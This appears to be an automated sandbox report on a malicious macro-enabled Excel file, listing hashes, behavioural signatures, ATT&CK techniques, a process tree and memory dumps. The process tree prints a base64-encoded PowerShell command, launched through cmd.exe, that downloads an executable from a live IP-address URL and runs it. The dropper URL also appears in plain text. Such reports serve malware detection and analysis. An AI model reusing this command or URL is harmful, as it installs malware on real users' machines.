c6971112e20b441f60617be0343ced897ef21ba2b298f282bbb547248c4360b3

General

Target

QegkD76apDUdkgmDSSbB.xlsm
Size

144KB
MD5

31a6c161407e0e1c22ba4c8cc7922dbd
SHA1

68d27dbce6639d2360d24f3cfbd48e3f03a8c26a
SHA256

c6971112e20b441f60617be0343ced897ef21ba2b298f282bbb547248c4360b3
SHA512

035c4fe21e7153e13a3d5cf6013bb99e5a23ea7ca46693d8a1b6db72023d0d46fa20167da20d52ed38500ef97fe64eb42b0faa829ee5150e75484db8bbd8718d

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://3.64.251.139/vr/r/QegkD76apDUdkgmDSSbB.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1464	3524	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

18 712 powershell.exe
Deletes itself 1 IoCs

Processes:

EXCEL.EXE

pid process

3524 EXCEL.EXE
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2220 712 WerFault.exe powershell.exe

flow	pid	process
18	712	powershell.exe

pid	pid_target	process	target process
2220	712	WerFault.exe	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

NTFS ADS 1 IoCs

Processes:

EXCEL.EXE

description ioc process

File created C:\Users\Admin\AppData\Local\Temp\F7C57F00\:Zone.Identifier:$DATA EXCEL.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3524 EXCEL.EXE

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Temp\F7C57F00\:Zone.Identifier:$DATA	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

Processes:

powershell.exeWerFault.exe

pid	process
712	powershell.exe
712	powershell.exe
712	powershell.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe

Suspicious behavior: RenamesItself 1 IoCs

Processes:

EXCEL.EXE

pid process

3524 EXCEL.EXE
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 712 powershell.exe
Token: SeDebugPrivilege 2220 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	712	powershell.exe
Token: SeDebugPrivilege	2220	WerFault.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
3524	EXCEL.EXE
3524	EXCEL.EXE
3524	EXCEL.EXE
3524	EXCEL.EXE
3524	EXCEL.EXE
3524	EXCEL.EXE
3524	EXCEL.EXE
3524	EXCEL.EXE
3524	EXCEL.EXE
3524	EXCEL.EXE
3524	EXCEL.EXE
3524	EXCEL.EXE
3524	EXCEL.EXE
3524	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 3524 wrote to memory of 1464	3524	EXCEL.EXE	cmd.exe
PID 3524 wrote to memory of 1464	3524	EXCEL.EXE	cmd.exe
PID 1464 wrote to memory of 712	1464	cmd.exe	powershell.exe
PID 1464 wrote to memory of 712	1464	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\QegkD76apDUdkgmDSSbB.xlsm"
1⤵
- Deletes itself
- Checks processor information in registry
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: RenamesItself
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3524

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\Documents\Mbefiusocvqwxsbfo.bat
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1464

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBZAGQAbgBhAGcAZwBtAHQAbwB5AGMAawB5AGgAaQBjAG0AcwBiAGsAYgBtAGQALgBlAHgAZQAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwAzAC4ANgA0AC4AMgA1ADEALgAxADMAOQAvAHYAcgAvAHIALwBRAGUAZwBrAEQANwA2AGEAcABEAFUAZABrAGcAbQBEAFMAUwBiAEIALgBlAHgAZQAiACwAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcACQAUAByAG8AYwBOAGEAbQBlACIAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:712

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 712 -s 2456
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2220

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\Documents\Mbefiusocvqwxsbfo.bat
MD5
52d685c5a6f1e37d97649a5d76a53f52

SHA1
189724df16f5cebb6887689181014bb9901cd74d

SHA256
385c2daf04f2d9042c38d2c6823a2fa5837cfd15dfb4e607749d68d8b7ef5736

SHA512
0a6e8a5e298f1ec15c340d17c2da0531d9360c1c426000dd2b38d8852311942d9df90c759741060eca58b95b0184c33c6336f0a2ec8d2c3cf8bd692b2aa340eb

Download Submit
memory/712-157-0x000001C0A4340000-0x000001C0A4342000-memory.dmp

Filesize
8KB

Download
memory/712-160-0x000001C0A4340000-0x000001C0A4342000-memory.dmp

Filesize
8KB

Download
memory/712-156-0x000001C0A4340000-0x000001C0A4342000-memory.dmp

Filesize
8KB

Download
memory/712-165-0x000001C0BCAF3000-0x000001C0BCAF5000-memory.dmp

Filesize
8KB

Download
memory/712-155-0x000001C0A4340000-0x000001C0A4342000-memory.dmp

Filesize
8KB

Download
memory/712-159-0x000001C0A4340000-0x000001C0A4342000-memory.dmp

Filesize
8KB

Download
memory/712-158-0x000001C0BD380000-0x000001C0BD381000-memory.dmp

Filesize
4KB

Download
memory/712-154-0x000001C0BCAB0000-0x000001C0BCAB1000-memory.dmp

Filesize
4KB

Download
memory/712-164-0x000001C0BCAF0000-0x000001C0BCAF2000-memory.dmp

Filesize
8KB

Download
memory/712-166-0x000001C0A4340000-0x000001C0A4342000-memory.dmp

Filesize
8KB

Download
memory/712-167-0x000001C0BCAF6000-0x000001C0BCAF8000-memory.dmp

Filesize
8KB

Download
memory/712-153-0x000001C0A4340000-0x000001C0A4342000-memory.dmp

Filesize
8KB

Download
memory/712-152-0x000001C0A4340000-0x000001C0A4342000-memory.dmp

Filesize
8KB

Download
memory/712-151-0x000001C0A4340000-0x000001C0A4342000-memory.dmp

Filesize
8KB

Download
memory/712-150-0x000001C0A4340000-0x000001C0A4342000-memory.dmp

Filesize
8KB

Download
memory/712-149-0x0000000000000000-mapping.dmp

Download
memory/1464-145-0x0000000000000000-mapping.dmp

Download
memory/3524-134-0x0000022CB7560000-0x0000022CB7562000-memory.dmp

Filesize
8KB

Download
memory/3524-133-0x0000022CB7560000-0x0000022CB7562000-memory.dmp

Filesize
8KB

Download
memory/3524-143-0x0000022CB7560000-0x0000022CB7562000-memory.dmp

Filesize
8KB

Download
memory/3524-142-0x0000022CB7560000-0x0000022CB7562000-memory.dmp

Filesize
8KB

Download
memory/3524-144-0x0000022CB7560000-0x0000022CB7562000-memory.dmp

Filesize
8KB

Download
memory/3524-140-0x0000022CB7560000-0x0000022CB7562000-memory.dmp

Filesize
8KB

Download
memory/3524-146-0x0000022CB7560000-0x0000022CB7562000-memory.dmp

Filesize
8KB

Download
memory/3524-147-0x0000022CB7560000-0x0000022CB7562000-memory.dmp

Filesize
8KB

Download
memory/3524-139-0x0000022CB7560000-0x0000022CB7562000-memory.dmp

Filesize
8KB

Download
memory/3524-138-0x0000022CB7560000-0x0000022CB7562000-memory.dmp

Filesize
8KB

Download
memory/3524-137-0x0000022CB7560000-0x0000022CB7562000-memory.dmp

Filesize
8KB

Download
memory/3524-136-0x0000022CB7560000-0x0000022CB7562000-memory.dmp

Filesize
8KB

Download
memory/3524-135-0x0000022CB7560000-0x0000022CB7562000-memory.dmp

Filesize
8KB

Download
memory/3524-141-0x0000022CB7560000-0x0000022CB7562000-memory.dmp

Filesize
8KB

Download
memory/3524-115-0x00007FFE82E80000-0x00007FFE82E90000-memory.dmp

Filesize
64KB

Download
memory/3524-132-0x0000022CB7560000-0x0000022CB7562000-memory.dmp

Filesize
8KB

Download
memory/3524-129-0x00007FFE7F970000-0x00007FFE7F980000-memory.dmp

Filesize
64KB

Download
memory/3524-128-0x00007FFE7F970000-0x00007FFE7F980000-memory.dmp

Filesize
64KB

Download
memory/3524-127-0x00007FFE82E80000-0x00007FFE82E90000-memory.dmp

Filesize
64KB

Download
memory/3524-121-0x0000022CB7560000-0x0000022CB7562000-memory.dmp

Filesize
8KB

Download
memory/3524-120-0x0000022CB7560000-0x0000022CB7562000-memory.dmp

Filesize
8KB

Download
memory/3524-119-0x0000022CB7560000-0x0000022CB7562000-memory.dmp

Filesize
8KB

Download
memory/3524-118-0x00007FFE82E80000-0x00007FFE82E90000-memory.dmp

Filesize
64KB

Download
memory/3524-117-0x00007FFE82E80000-0x00007FFE82E90000-memory.dmp

Filesize
64KB

Download
memory/3524-116-0x00007FFE82E80000-0x00007FFE82E90000-memory.dmp

Filesize
64KB

Download
memory/3524-168-0x0000022CB7560000-0x0000022CB7562000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads